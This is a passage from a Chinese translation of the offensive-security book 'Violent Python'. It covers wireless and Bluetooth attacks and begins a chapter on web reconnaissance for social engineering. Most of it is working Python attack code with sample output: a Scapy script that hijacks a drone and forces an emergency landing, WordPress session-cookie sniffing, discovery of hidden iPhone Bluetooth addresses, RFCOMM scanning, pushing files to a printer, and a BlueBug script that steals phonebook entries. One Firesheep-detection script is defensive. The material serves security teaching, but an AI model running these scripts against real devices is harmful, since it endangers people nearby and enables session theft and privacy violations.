'AT*PCMD=11542,1,-1364309249,988654145,1065353216,0\r' 'AT*REF=11543,290718208\r' 'AT*PCMD=11544,1,- 1358634437,993342234,1065353216,0\rAT*PCMD=11545,1 1355121202,998132864,1065353216,0\r' 'AT*REF=11546,290718208\r' <..SNIPPED..> 我们开始创建一个 Python 类 interceptThread,这个类用于储存我们攻击的字 段。这些字段包含在刚才截获的数据包里,具体的无人机序列号,和最后一个 描述无人机流量是否被截获的布尔值。初始化这些字段后,我们将创建两个函 数 run()和 interceptPkt(),run()函数开始嗅探过滤的 5556 UDP 流量,并触发 interceptPkt()函数,当拦截到无人机流量,布尔值变为真,接下来,它将从当 前记录的无人机控制流量中玻璃序列号。 class interceptThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.curPkt = None self.seq = 0 self.foundUAV = False def run(self): sniff(prn=self.interceptPkt, filter='udp port 5556') def interceptPkt(self, pkt): if self.foundUAV == False: print('[*] UAV Found.') self.foundUAV = True self.curPkt = pkt raw = pkt.sprintf('%Raw.load%') try: self.seq = int(raw.split(',')[0].split('=')[-1]) + 5 except: self.seq = 0 用 Scapy 制作 802.11 数据帧 接下来,我们要制作一个包含无人机指令的新的数据包。然而,为了做到这一 点,我们需要共当前的数据帧中复制一些必要的信息。因为数据包包含 RadioTap, 802.11, SNAP, LLC, IP, and UDP 层,我们需要从各个层中复制字段。 Scapy 对每一层都有很好的支持,例如,看看 Dot11 层,我们开始 Scapy 然后 执行 ls(Dot11)命令,我们会看到我们需要复制到我们伪造的数据包中的字段。 attacker# scapy Welcome to Scapy (2.1.0) >>>ls(Dot11) subtype : BitField = (0) type : BitEnumField = (0) proto : BitField = (0) FCfield : FlagsField = (0) ID : ShortField = (0) addr1 : MACField = ('00:00:00:00:00:00') addr2 : Dot11Addr2MACField = ('00:00:00:00:00:00') addr3 : Dot11Addr3MACField = ('00:00:00:00:00:00') SC : Dot11SCField = (0) addr4 : Dot11Addr4MACField = ('00:00:00:00:00:00') 我们建立我们的新的数据包,复制 RadioTap, 802.11, SNAP, LLC, IP 和 UDP 的 没一层的协议。注意,我们在每一层里抛弃一些字段,比如,我们不用复制 IP 地址字段。我们的命令可能包含不同长度的大小,我们可以让 Scapy 自动的 计算生成数据包,同样,对于一些校验值也是一样。有了这些知识在手,我们 现在可以继续我们的无人机攻击了。我们将脚本保存为 dup.py,因为它复制了 太多的 802.11 数据帧的字段。 from scapy.all import * def dupRadio(pkt): rPkt=pkt.getlayer(RadioTap) version=rPkt.version pad=rPkt.pad present=rPkt.present notdecoded=rPkt.notdecoded nPkt = RadioTap(version=version, pad=pad, present=present, notdecoded=notdecoded) return nPk def dupDot11(pkt): dPkt=pkt.getlayer(Dot11) subtype=dPkt.subtype Type=dPkt.type proto=dPkt.proto FCfield=dPkt.FCfield ID=dPkt.ID addr1=dPkt.addr1 addr2=dPkt.addr2 addr3=dPkt.addr3 SC=dPkt.SC addr4=dPkt.addr4 nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfi eld,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=a ddr4) return nPkt def dupSNAP(pkt): sPkt=pkt.getlayer(SNAP) oui=sPkt.OUI code=sPkt.code nPkt=SNAP(OUI=oui,code=code) return nPkt def dupLLC(pkt): lPkt=pkt.getlayer(LLC) dsap=lPkt.dsap ssap=lPkt.ssap ctrl=lPkt.ctrl nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl) return nPkt def dupIP(pkt): iPkt=pkt.getlayer(IP) version=iPkt.version tos=iPkt.tos ID=iPkt.id flags=iPkt.flags ttl=iPkt.ttl proto=iPkt.proto src=iPkt.src dst=iPkt.dst options=iPkt.options nPkt=IP(version=version,id=ID,tos=tos,flags=flags,ttl=ttl,proto=p roto,src=src,dst=dst,options=options) return nPkt def dupUDP(pkt): uPkt=pkt.getlayer(UDP) sport=uPkt.sport dport=uPkt.dport nPkt=UDP(sport=sport,dport=dport) return nPkt 接下来我们将添加一些新的方法到我们 interceptThread 类中,叫 injectCmd(),这个函数复制当前包中的没一层,然后添加新的指令到 UDP 层。 在创建新的数据包之后,它通过 sendp()函数发送命令。 def injectCmd(self, cmd): radio = dup.dupRadio(self.curPkt) dot11 = dup.dupDot11(self.curPkt) snap = dup.dupSNAP(self.curPkt) llc = dup.dupLLC(self.curPkt) ip = dup.dupIP(self.curPkt) udp = dup.dupUDP(self.curPkt) raw = Raw(load=cmd) injectPkt = radio / dot11 / llc / snap / ip / udp / raw sendp(injectPkt) 紧急降落是控制无人机的一个重要的指令。者控制无人机停止引擎随时掉到地 上,为了执行这个命令,我们将使用当前的序列号并跳 100。接下来,我们发 送命令 AT*COMWDG=$SEQ\r,这个命令重置通讯的序列号,无人机将忽略先 前的序命令(比如那些被合法的 iPhone 发布的命令)。最后,我们发送我们的紧 急迫降命令 AT*REF=$SEQ, 290717952\r。 EMER = "290717952" def emergencyland(self): spoofSeq = self.seq + 100 watch = 'AT*COMWDG=%i\r'%spoofSeq toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, EMER) self.injectCmd(watch) self.injectCmd(toCmd) 最终的攻击,紧急迫降无人机 让我们整合我们的代码并进行最后的攻击。首先,我们确保保存生成我们的数 据包脚本并导入 dup.py,接下来,我们检查我们的主要功能,开始拦截监听流 量发现无人机,并提示我们发送紧急迫降指令。不到 70 行的代码,我们已经成 功的拦截的无人机,好极了!感觉对我们的活动有点内疚。下一节中,我们将 着重讨论如何识别在加密无线网络上的恶意活动。 # coding=UTF-8 import threading import dup from scapy.all import * conf.iface = 'mon0' NAVPORT = 5556 LAND = '290717696' EMER = '290717952' TAKEOFF = '290718208' class interceptThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.curPkt = None self.seq = 0 self.foundUAV = False def run(self): sniff(prn=self.interceptPkt, filter='udp port 5556') def interceptPkt(self, pkt): if self.foundUAV == False: print('[*] UAV Found.') self.foundUAV = True self.curPkt = pkt raw = pkt.sprintf('%Raw.load%') try: self.seq = int(raw.split(',')[0].split('=')[-1]) + 5 except: self.seq = 0 EMER = "290717952" def emergencyland(self): spoofSeq = self.seq + 100 watch = 'AT*COMWDG=%i\r'%spoofSeq toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, EMER) self.injectCmd(watch) self.injectCmd(toCmd) def injectCmd(self, cmd): radio = dup.dupRadio(self.curPkt) dot11 = dup.dupDot11(self.curPkt) snap = dup.dupSNAP(self.curPkt) llc = dup.dupLLC(self.curPkt) ip = dup.dupIP(self.curPkt) udp = dup.dupUDP(self.curPkt) raw = Raw(load=cmd) injectPkt = radio / dot11 / llc / snap / ip / udp / raw sendp(injectPkt) def takeoff(self): spoofSeq = self.seq + 100 watch = 'AT*COMWDG=%i\r'%spoofSeq toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, TAKEOFF) self.injectCmd(watch) self.injectCmd(toCmd) def main(): uavIntercept = interceptThread() uavIntercept.start() print('[*] Listening for UAV Traffic. Please WAIT...') while uavIntercept.foundUAV == False: pass while True: tmp = raw_input('[-] Press ENTER to Emergency Land UAV.') uavIntercept.emergencyland() if __name__ == '__main__': main() 检测 Firesheep 2010 年,Eric Butler 开发了一个改变游戏规则的工具,Firesheep。这个工具提 供了简单的两个按钮接口用来远程窃取不知情用户的 Facebook,Google, Twitter 等社交网站上的账户。Eric 的 Firesheep 工具为了得到站点的 HTTP Cookies 被动的在无线网卡上监听。如果一个用户连接到不安全的网站也没有 使用任何服务器控件如 HTTPS 来保护他的会话,那么攻击者能使用 Firesheep 拦截 cookies 并被重用。 Eric 提供了一个简单的界面用来建立处理特殊的具体的 cookie 来捕获重用。注 意,下面的对 WordPress 的处理包含三个函数。首先 matchPacket()通过查看 正则表达式 wordpress_[0-9a-fA-F]{32}来确认 cookie,如果函数匹配到了占则 表达式,那么 processPacket()抽取 WordPress 的 sessionID cookie,最后 identifyUser()函数解析登陆到 WordPress 的用户名,黑客使用这些信息来登陆 用户的 WordPress。 // Authors: // Eric Butler register({ name: 'Wordpress', matchPacket: function (packet) { for (varcookieName in packet.cookies) { if (cookieName.match0 { return true; } } }, processPacket: function () { this.siteUrl += 'wp-admin/'; for (varcookieName in this.firstPacket.cookies) { if (cookieName.match(/^wordpress_[0-9a-fA-F]{32}$/)) { this.sessionId = this.firstPacket.cookies[cookieName]; break; } } }, identifyUser: function () { var resp = this.httpGet(this.siteUrl); this.userName = resp.body.querySelectorAll('#user_info a')[0].textContent; this.siteName = 'Wordpress (' + this.firstPacket.host + ')'; } }); 理解 WordPress 的 Session Cookie 在一个实际的数据包中,这些 cookie 看起来像下面那些,这里的受害者运行 Safari 浏览器连接 WordPress 在 www.violentpython.org。注意,字符串以 wordpress_e3b 开始包含了受害者的 sessionID cookie 和用户名。 GET /wordpress/wp-admin/HTTP/1.1 Host: www.violentpython.org User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7 Accept: */* Referer: http://www.violentpython.org/wordpress/wp-admin/ Accept-Language: en-us Accept-Encoding: gzip, deflate Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%7C1323 803979 %7C889eb4e57a3d68265f26b166020f161b; wordpress_logged_in_e3bd8b33fb645 122b50046ecbfbeef97=victim%7C1323803979%7C3255ef169aa64 9f771587fd128ef 4f57; wordpress_test_cookie=WP+Cookie+check Connection: keep-alive 在下图中,一个攻击者在火狐上运行 Firesheep 工具,识别出相同的字符串发 送到未加密的无线网络上。然后他用抽取的凭证登陆到 www.violentpython.og 上。注意,HTTP GET 请求和我们原来的请求一样,有 同样的 cookie,但是源自不同的浏览器。虽然他不是描述这里,但是值得注意 的是请求来自不同的 IP 地址,攻击者不能和受害者使用相同的机器。 GET /wordpress/wp-admin/ HTTP/1.1 Host: www.violentpython.org User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24 Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%7C1323 803979 %7C889eb4e57a3d68265f26b166020f161b; wordpress_logged_in_e3bd8b33fb645 122b50046ecbfbeef97=victim%7C1323803979%7C3255ef169aa64 9f771587fd128ef4f57; wordpress_test_cookie=WP+Cookie+check 集结羊群---捕获 WordPress cookie 重用 让我们编写一个快速的 Python 脚本来解析 WordPress 包含 session cookie 的 HTTP 会话。因为这种攻击发生在未加密的会话,我们将过滤通过 TCP 的 80 端 口的 HTTP 协议。当我们看到正则表达式匹配 WordPress cookie,我们可以打 印 cookie 内容到屏幕上,我们只想看到客户的流量,我们不想打印任何来自客 户的包含字符串“set”的 cookie。 import re from scapy.all import * def fireCatcher(pkt): raw = pkt.sprintf('%Raw.load%') r = re.findall('wordpress_[0-9a-fA-F]{32}', raw) if r and 'Set' not in raw: print(pkt.getlayer(IP).src+ ">"+pkt.getlayer(IP).dst+" Cookie:"+r[0]) conf.iface = "mon0" sniff(filter="tcp port 80",prn=fireCatcher) 运行这个脚本,我们很快识别一些潜在的受害者通过未加密的无线网络连接用 标准的 HTTP 会话连接到 WordPress 上。当我打印特定的会话 cookie 到屏幕上 时,我么注意到攻击者 192.168.1.4 重用了来自 192.168.1.3 的受害者的 sessionID cookie。 defender# python fireCatcher.py 192.168.1.3>173.255.226.98 Cookie:wordpress_ e3bd8b33fb645122b50046ecbfbeef97 192.168.1.3>173.255.226.98 Cookie:wordpress_e3bd8b33fb645122b50046ecbfbeef97 192.168.1.4>173.255.226.98 为了检测攻击者使用 Firesheep,我们必须看看是否一个攻击者在不同的 IP 上 重用 cookie 值。为此,我们必须修改我们先前的脚本。现在我们要建立一个 Hash 表通过 sessionID 索引 cookie。如果我们看到一个 WordPress 会话,我们 可以将值插入到 Hash 表并存储 IP 地址。如果我们再一次看到,我们可以比较 检验它的值是否和 Hash 表相冲突。当我们检测到冲突时,我们现在有相同的 cookie 关联了两个相同的 IP 地址。在这一点上,我们可以检测到某人试图偷取 WorPress 的会话并打印在屏幕上。 # coding=UTF-8 __author__ = 'dj' import optparse from scapy.all import * import re cookieTable = {} def fireCatcher(pkt): raw = pkt.sprintf('%Raw.load%') r = re.findall('wordpress_[0-9a-fA-F]{32}', raw) if r and 'Set' not in raw: if r[0] not in cookieTable.keys(): cookieTable[r[0]] = pkt.getlayer(IP).src print('[+] Detected and indexed cookie.') elif cookieTable[r[0]] != pkt.getlayer(IP).src: print('[*] Detected Conflict for ' + r[0]) print('Victim = ' + cookieTable[r[0]]) print('Attacker = ' + pkt.getlayer(IP).src) def main(): parser = optparse.OptionParser("usage %prog -i") parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on') (options, args) = parser.parse_args() if options.interface == None: print parser.usage exit(0) else: try: conf.iface = options.interface sniff(filter='tcp port 80', prn=fireCatcher) except KeyboardInterrupt: exit(0) if __name__ == '__main__': main() 运行我们的脚本,我们可以确认一个重用来自受害者的 WordPress sessionID cookie 的黑客正在尝试盗取某人的会话。在这一点上我们已经掌握了用 Python 嗅探 802.11 的无线网络。让我们在下一节探究如何用 Python 攻击蓝牙 设备。 defender# python fireCatcher.py [+] Detected and indexed cookie. [*] Detected Conflict for: wordpress_ e3bd8b33fb645122b50046ecbfbeef97 Victim = 192.168.1.3 Attacker = 192.168.1.4 用蓝牙和 Python 跟踪潜入 研究生的研究有时候是一个艰巨的任务。一个巨大任务的研究需要团队的合作, 我发现知道团队人员的位置非常有用。我的研究生的研究围绕着蓝牙协议,它 似乎也是保持我团队成员位置的很好的方法。 为了和蓝牙交互,我们要用到 PyBluez 模块。这个模块扩展了 Bluez 库提供的 利用蓝牙资源的功能。注意,导入我们的蓝牙库后,我们可以简单的利用函数 discover_devices()来返回附近发现的蓝牙设备的 MAC 地址数组。接下来,我 们可以换算 MAC 地址为友好的字符串设备名通过 lookup_name()函数。最后我 们能打印这些收集设备。 from bluetooth import * devList = discover_devices() for device in devList: name = str(lookup_name(device)) print("[+] Found Bluetooth Device " + str(name)) print("[+] MAC address: "+str(device)) 让我们继续探究。为此,我们我们将这段代码封装为函数 findDevs,并打印我 们发现的新设备。我们可以用一个数组 alreadyFound 来保存已经发现的设备, 对于每个发现的设备我们将检查是否已经存在与数组中。如果不存在我们将打 印设备名和地址并添加到数组中,在我们的主要的代码中,我们可以创建一个 无限循环运行 findDevs()然后睡眠 5 秒。 import time from bluetooth import * alreadyFound = [] def findDevs(): foundDevs = discover_devices(lookup_names=True) for (addr, name) in foundDevs: if addr not in alreadyFound: print('[*] Found Bluetooth Device: ' + str(name)) print('[+] MAC address: ' + str(addr)) alreadyFound.append(addr) while True: findDevs() time.sleep(5) 现在我们运行我们的脚本看看是否能发现附近任何的蓝牙设备。注意,我们发 现了一个打印机和一个 iPhone。打印输出显示友好的名称并跟着 MAC 地址。 attacker# python btScan.py [-] Scanning for Bluetooth Devices. [*] Found Bluetooth Device: Photosmart 8000 series [+] MAC address: 00:16:38:DE:AD:11 [-] Scanning for Bluetooth Devices. [-] Scanning for Bluetooth Devices. [*] Found Bluetooth Device: TJ iPhone [+] MAC address: D0:23:DB:DE:AD:02 我们可以写一个简单的函数来提醒我们这些特定的设备在我们附近。请注意, 我们将改变我们的原始函数增加参数 tgtName,搜索我们的发现列表发现特定 设备。 import time from bluetooth import * alreadyFound = [] def findDevs(): foundDevs = discover_devices(lookup_names=True) for (addr, name) in foundDevs: if addr not in alreadyFound: print('[*] Found Bluetooth Device: ' + str(name)) print('[+] MAC address: ' + str(addr)) alreadyFound.append(addr) while True: findDevs() time.sleep(5) 在这一点上,我们有一个改装的工具提醒我们,有一个特定的设备,比如说 iPhone,进来了。 attacker# python btFind.py [-] Scanning for Bluetooth Device: TJ iPhone [*] Found Target Device TJ iPhone [+] Time is: 2012-06-24 18:05:49.560055 [+] With MAC Address: D0:23:DB:DE:AD:02 [+] Time is: 2012-06-24 18:06:05.829156 拦截无线流量找到蓝牙地址 然而,这只是解决了一般的问题,我们的脚本只能发现设置为可见的蓝牙设备。 一个隐藏的蓝牙设备我们怎么发现它?让我们考虑一下隐藏模式下 iPhone 蓝牙 设备的欺骗性。加 1 到 802.11 无线设备的 MAC 地址来确认 iPhone 的蓝牙设备 的 MAC 地址。作为 802.11 无线设备电台的服务没有在第二层控制保护 MAC 地 址,我们可以简单的嗅探它并使用这些信息计算南蓝牙设备的 MAC 地址。 让我们设置我们的无线设备 MAC 地址嗅探器。注意我们过滤 MAC 地址只包含 MAC 八个字节的前三个字节。前三个字节作为组织唯一标识符(OUI),标识特 定的制造商,你可以在 http://standards.ieee.org/cgi-bin/ouisearch 网站进一步 探讨 OUI 数据库。比如说我们使用 OUI d0:23:db(iPhone 4S 的 OUI),如果你 搜索 OUI 数据库,你能确认该设备属于 iPhone。 D0-23-DB (hex) Apple, Inc. D023DB (base 16) Apple, Inc. 1 Infinite Loop Cupertino CA 95014 UNITED STATES 我们的 Python 脚本监听 802.11 数据帧匹配 iPhone 4S 的 MAC 地址的前三个字 节。如果检测到,它将打印结果在屏幕上并存储 802.11 的 MAC 地址。 from scapy.all import * def wifiPrint(pkt): iPhone_OUI = 'd0:23:db' if pkt.haslayer(Dot11): wifiMAC = pkt.getlayer(Dot11).addr2 if iPhone_OUI == wifiMAC[:8]: print('[*] Detected iPhone MAC: ' + wifiMAC) conf.iface = 'mon0' sniff(prn=wifiPrint) 现在我们已经确认了 iPhone 的 802.11 无线设备的 MAC 地址,我们需要构建蓝 牙设备的无线设备。我们可以计算蓝牙 MAC 地址通过 802.11 无线地址加 1。 def retBtAddr(addr): btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:] btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":" + btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12] return btAddr 有了 MAC 地址,攻击者就可以执行设备名查询这个设备是否真实的存在。即时 在隐藏模式下,蓝牙设备任然对名字查询有响应。如果蓝牙设备响应,我们可 以打印设备名和 MAC 地址子屏幕上。有一点需要注意,iPhone 设备采用的省 电模式,在蓝牙不匹配或者没使用时禁用蓝牙设备。然而,当 iPhone 配上耳机 或者车载免提时在隐藏模式下还是会响应设备名查询的。如果你测试时,脚本 似乎不能正确的工作时,试着把你的 iPhone 和其他设备连在一起。 def checkBluetooth(btAddr): btName = lookup_name(btAddr) if btName: print('[+] Detected Bluetooth Device: ' + btName) else: print('[-] Failed to Detect Bluetooth Device.') 当我们把所有的代码放在一起时,我们有能力识别 iPhone 设备隐藏的蓝牙。 # coding=UTF-8 from scapy.all import * from bluetooth import * def retBtAddr(addr): btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:] btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":" + btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12] return btAddr def checkBluetooth(btAddr): btName = lookup_name(btAddr) if btName: print('[+] Detected Bluetooth Device: ' + btName) else: print('[-] Failed to Detect Bluetooth Device.') def wifiPrint(pkt): iPhone_OUI = 'd0:23:db' if pkt.haslayer(Dot11): wifiMAC = pkt.getlayer(Dot11).addr2 if iPhone_OUI == wifiMAC[:8]: print('[*] Detected iPhone MAC: ' + wifiMAC) btAddr = retBtAddr(wifiMAC) print('[+] Testing Bluetooth MAC: ' + btAddr) checkBluetooth(btAddr) conf.iface = 'mon0' sniff(prn=wifiPrint) 当我们运行我们的脚本时,我们可以看到,它识别了一个 iPhone 的 802.11 无 线设备的 MAC 地址。和它的无线设备。在下一节中,我们将挖掘更深的设备信 息,通过扫描各种有关蓝牙的协议和端口。 attacker# python find-my-iphone.py [*] Detected iPhone MAC: d0:23:db:de:ad:01 [+] Testing Bluetooth MAC: d0:23:db:de:ad:02 [+] Detected Bluetooth Device: TJ’s iPhone 扫描蓝牙的 RFCOMM 信道 2004 年,Herfurt 和 Laurie 展示了一个蓝牙漏洞,他们成为 BlueBug。这个漏 洞针对蓝牙的 RFCOMM 传输协议。RFCOMM 通过蓝牙的 L2CAP 协议模拟 RS232 串口通讯。本质上,这将创建一个蓝牙连接到一个设备,模拟一个简单 的串行电缆,允许用户发起电话呼叫,发送短信,阅读通讯录列表转接电话或 者通过蓝牙连接到互联网。 RFCOMM 提供验证和加密连接的能力。制造商偶尔忽略此功能允许未经认证连 接到此设备。Herfurt 和 Laurie 编写了一个工具能连接到未认证的设备信道发送 命令控制或者下载设备上的内容。在这节中,我们将编写一个扫瞄器确认未认 证的的 RFCOMM 信道。 看看下面的代码,RFCOMM 连接和标准的 TCP 套接字连接非常的相似。为了连 接到一个 RFCOMM 端口,我们将生成一个 RFCOMM 类型的蓝牙套接字。接下 来我们通过 connect()函数,包含目标设备的 MAC 地址和端口的一个元组。如 果我们成功了,我们会知道 RFRCOMM 信道开放并正在监听。如果函数抛出异 常,我们知道我们不能连接到这个端口,我们将重复尝试 30 个可能的 RFCOMM 端口进行连接。 from bluetooth import * def rfcommCon(addr, port): sock = BluetoothSocket(RFCOMM) try: sock.connect((addr, port)) print('[+] RFCOMM Port ' + str(port) + ' open') sock.close() except Exception as e: print('[-] RFCOMM Port ' + str(port) + ' closed') for port in range(1, 30): rfcommCon('00:16:38:DE:AD:11', port) 当我们运行我们的脚本针对附近的打印机,我们看到开放了五个 RFCOMM 端口。 然而,我们没有真正了解这些端口提供了的什么服务。为了了解更多关于这些 服务,我们需要使用蓝牙服务发现功能。 attacker# python rfcommScan.py [+] RFCOMM Port 1 open [+] RFCOMM Port 2 open [+] RFCOMM Port 3 open [+] RFCOMM Port 4 open [+] RFCOMM Port 5 open [-] RFCOMM Port 6 closed [-] RFCOMM Port 7 closed <..SNIPPED...> 使用蓝牙服务发现协议 蓝牙服务发现协议(SDP)提供了一种简单的方法来来描述和枚举设备提供的蓝牙 功能和服务。浏览 SDP 文件描述了服务在每一个独一无二的蓝牙协议和端口上 运行。使用函数 find_service()返回了一个记录数组,这些记录包含主机,名称, 描述,供应商,协议,端口,服务类,介绍和每个目标蓝牙每一个可用服务的 ID,就我们的目的而言,我们的脚本只打印服务名称,协议和端口号。 from bluetooth import * def sdpBrowse(addr): services = find_service(address=addr) for service in services: name = service['name'] proto = service['protocol'] port = str(service['port']) print('[+] Found ' + str(name)+' on '+ str(proto) + ':'+port) sdpBrowse('00:16:38:DE:AD:11') 当我们运行我们的脚本针对我们的打印机蓝牙,我们看到 RFCOMM 端口 2 提供 OBEX 对象推送功能。对象交换服务(OBEX)让我们有类似与 FTP 匿名登陆的的 能力,我们可以匿名的上传和下载文件从系统里面,这可能是打印机上值得进 一步研究的东西。 attacker# python sdpScan.py [+] Found Serial Port on RFCOMM:1 [+] Found OBEX Object Push on RFCOMM:2 [+] Found Basic Imaging on RFCOMM:3 [+] Found Basic Printing on RFCOMM:4 [+] Found Hardcopy Cable Replacement on L2CAP:8193 用 Python ObexFTP 接管打印机 让我们继续对打印机进行攻击。因为它在 RFCOMM 的端口 2 上提供了 OBEX 服 务,让我们尝试推送一个照片上去。我们使用 obexftp 连接打印机,接着我们 从攻击者的主机上发送一个图片给它。当文件传输成功,我们的打印机开始为 我们打印图像。这太令人兴奋了!但不一定是危险的,所以我们将继续在下一 节中使用这种方法对提供蓝牙的手机实施更致命的攻击。 import obexftp try: btPrinter = obexftp.client(obexftp.BLUETOOTH) btPrinter.connect('00:16:38:DE:AD:11', 2) btPrinter.put_file('/tmp/ninja.jpg') print('[+] Printed Ninja Image.') except: print('[-] Failed to print Ninja Image.') 用 Python BlueBug 手机 在本节中,我们将重现一个最近的手机蓝牙攻击向量。最初被称为 BlueBug 攻 击,该攻击使用未认证的和不安全的连接手机偷取手机的详细信息或者直接向 手机发送指令。这个攻击使用 RFCOMM 信道发送 AT 命令作为远程控制设备的 工具。者允许攻击者读写短信,收集个人信息或者拨打号码。 例如,攻击者可以控制一个诺基亚 6310i 通过 RFCOMM 的 17 信道。在以前这 这手机的固件版本,RFCOMM 信道 17 不需要身份验证便可连接,攻击者可以 简单的扫描 RFCOMM 打开的信道发现 17 信道,连接并且发送 AT 命令下载电 话号。 让我们用 Python 来重现这次攻击。再一次,我们需要导入 Python 的 BluezAPI 模块。确认我们的目标地址和脆弱的 RFCOMM 端口之后,我们创建 一个到开放,未经验证,未加密的连接。使用这个新创建的连接,我们发送一 个命令,例如“AT+CPBR=1”来下载通讯录的第一个号码,重复次命令偷取全部 的通讯录。 import bluetooth tgtPhone = 'AA:BB:CC:DD:EE:FF' port = 17 phoneSock = bluetooth.BluetoothSocket(bluetooth.RFCOMM) phoneSock.connect((tgtPhone, port)) for contact in range(1, 5): atCmd = 'AT+CPBR=' + str(contact) + '\n' phoneSock.send(atCmd) result = phoneSock.recv(1024) print '[+] ' + str(contact) + ': ' + result phoneSock.close() 针对脆弱的手机运行我们的脚本,我们可以从受害者手机上下载五个联系人的 电话号码。不到五十行的代码,我们可以通过蓝牙远程窃取通讯录电话号码。 棒极了! attacker# python bluebug.py [+] 1: +CPBR: 1,"555-1234",,"Joe Senz" [+] 2: +CPBR: 2,"555-9999",,"Jason Brown" [+] 3: +CPBR: 3,"555-7337",,"Glen Godwin" [+] 4: +CPBR: 4,"555-1111",,"Semion Mogilevich" [+] 5: +CPBR: 5,"555-8080",,"Robert Fisher 本章总结 恭喜你!在这一章我们已经编写了很多工具,我们可以用它们来设计无线网络 和蓝牙设备。我们从通过无线网络截获私人信息开始。接下来,我们研究如何 分析 802.11 无线流量,为了发现首选网络和隐藏的接入点。然后,我们紧急迫 降了一个无人机并建立了一个工具识别无线网络黑客工具。对于蓝牙协议,我 们我们建立了一个工具来查找蓝牙设备,扫描并渗透攻击了打印机和手机。 希望你喜欢这一章。我喜欢编写这些。下一章,我们将讨论在开源的网络社交 媒体上使用 Python 进行侦查。 第 6 章:WEB 侦查 本章内容: 1.使用 Mechanize 匿名浏览互联网 2.Python 使用 Beautiful Soup 映射 WEB 元素 3.使用 Python 与 Google 交互 4.使用 Python 和 Twitter 交互 5.自动钓鱼 在我生命的八十七年中,我亲眼目睹了技术革命的演替。但却没有人完成了人 的思考和需要这一问题。 —Bernard M. Baruch 美国第 28 到第 32 任总 统的顾问 简介:今天的社会工程学 2010 年,两个大规模的网络攻击改变了我们对网络战的理解。先前我们在第四 章讨论过极光行动。在极光行动攻击中,瞄准了多个跨国的公司,雅虎,赛门 铁克,Adobe 等还有一些 Google 账户。华盛顿邮报报道这是一个新的有着先进 水平的攻击。Stuxnet,第二次攻击,针对 SCADA 系统,特别是那些在伊朗的。 网络维护者应该关注该蠕虫的发展,这是一个比极光行动更加先进和成熟的蠕 虫攻击。尽管这两个网络攻击非常复杂,但他们有一个共同的关键点:他们的 传播,至少部分是通过社会工程学传播的。不管多么复杂的和致命的网络攻击 增加有效的社会工程学会增加攻击的有效性。在下面的章节中,我们将研究如 何使用使用 Python 来实现自动化的社会工程学攻击。 在进行任何操作之前,攻击者应该有目标的详细信息,信息越多攻击的成功的 机会越大。概念延伸到信息战争的世界。在这个邻域和当今时代,大部分所需 的信息可以在互联网上找到,由于互联网庞大的规模,遗漏重要信息的可能性 很高。为了防止信息丢失,计算机程序可以自动完成整个过程。Python 是一个 很好的执行自动化任务的工具,大量的第三方库允许我们轻松的和互联网,网 站进行交互。 攻击之前的侦查 在本章中,我们通过程序对目标进行侦查。在这个发面关键是确保我们收集更 多的信息量,而不被警惕性极高,能干的公司总部的网络管理员检测到。最后 我们将看看如何汇总数据允许我们发动高度复杂的个性化的社会工程学攻击。 确保在应用任何这些技术之前询问了执法官员和法律的意见。我们在这展示攻 击和用过的工具是为了更好的理解他们的做法和知道如何在我们的生活中如何 防范这种攻击。 使用 Mechanize 库浏览互联网 典型的计算机用户依赖 WEB 浏览器浏览网站和导航互联网。每一个站点都是不 同的,可以包含图片,音乐和视频中的各种各样的组合。然而,浏览器实际上 读取一个文本类型的文档,理解它,然后将他显示给用户,类似于一个 Python 程序的源文件和 Python 解释器的互动。用户可以使用浏览器访问站点 或者使用不同的方法浏览他们的源代码。Linux 下的我 wget 程序是个很受欢迎 的方法。在 Python 中,浏览互联网的唯一途径是取回并下载一个网站的 HTML 源代码。有许多不同的库已经已经完成了处理 WEB 内容的任务。我们特 别喜欢 Mechanize,你在前几章已经用过。Mechanize: http://wwwsearch.sourceforge.net/mechanize/。 Mechanize 主要的类 Browser,允许任何可以在浏览器是上进行的操作。这个 类也有其他的有用的方法是程序变得更简单。下面脚本演示了 Mechanize 最基 本的使用:取回一个站点的源代码。这需要创建一个浏览器对象,然后调用 open()函数。 import mechanize def viewPage(url): browser = mechanize.Browser() page = browser.open(url) source_code = page.read() print(source_code) viewPage('http://www.syngress.com/') 运行这个脚本,我们看到它打印出 www.syngress.com 首页的 HTML 代码。 recon:∼# python viewPage.py Syngress.com - Syngress is a premier publisher of content in the Information Security field. We cover Digital Forensics, Hacking and Penetration Testing, Certification, IT Security and Administration, and more. <..SNIPPED..> 我们将使用 mechanize.Browser 类来构建脚本,在本章中浏览互联网。但是你 不会受它的约束,Python 提供了几个不同的方法浏览。这章使用 Mechanize 由 于他提供了特殊的功能。John J. Lee 设计的 Mechanize 提供可状态编程,简单 的 HTML 表格和方便的解析和处理,例如 HTTP-Equiv 这样的命令和刷新。此 外,它提供给你的内在对象是匿名的。这一切都会在下面的章节中用到。 匿名---增加代理,用户代理和 Cookies 现在我们有从互联网获取网页内容的能力,退一步想想接下来的处理很有必要。 